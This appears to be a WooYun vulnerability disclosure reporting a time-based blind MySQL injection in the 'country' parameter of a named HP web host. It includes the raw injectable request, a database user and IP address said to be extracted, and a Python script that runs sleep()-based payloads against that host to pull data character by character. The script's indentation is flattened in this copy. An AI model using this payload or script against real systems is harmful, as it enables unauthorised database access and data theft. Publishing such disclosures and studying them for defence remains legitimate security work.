当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-088431

漏洞标题:惠普又一站点MySQL注射(附验证脚本)

相关厂商:惠普

漏洞作者: lijiejie

提交时间:2014-12-24 14:01

修复时间:2015-02-07 14:02

公开时间:2015-02-07 14:02

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-24: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-02-07: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

惠普又一站点MySQL注射(附验证脚本)

详细说明:

注入点:

GET /hub.php?country=aaa&language=US HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: https://h41183.www4.hp.com
Cookie: PHPSESSID=jqkhjokslqfg8d4j4j0kdc8r7i1o90eh
Host: h41183.www4.hp.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*


参数country可注入。MySQL time blind.

漏洞证明:

猜解user(),得到:

loki@209.166.84.121


hp.com_3.png


验证python脚本:

#encoding=gbk
import httplib
import time
import string
import sys
import random
import urllib
headers = {
'Cookie': '',
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list(string.ascii_lowercase)
for i in range(0,10):
payloads.append(str(i))
payloads += ['@','_', '.']
print 'start to retrive MySQL user:'
user = ''
for i in range(1,20):
for payload in payloads:
try:
conn = httplib.HTTPSConnection('h41183.www4.hp.com', timeout=10)
rand_num = str(random.random())
s = "123'XOR(if(ascii(mid(lower(user())from(%s)for(1)))=%s,sleep(5),0))OR'bbb" % (i, ord(payload) )
conn.request(method='GET',
url='/hub.php?country=' + urllib.quote(s),
headers = headers)
start_time = time.time()
html_doc = conn.getresponse().read()
conn.close()
print '.',
except:
user += payload
print '\n[in progress]', user
break
print '\n[Done]MySQL user is', user

修复方案:

过滤

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝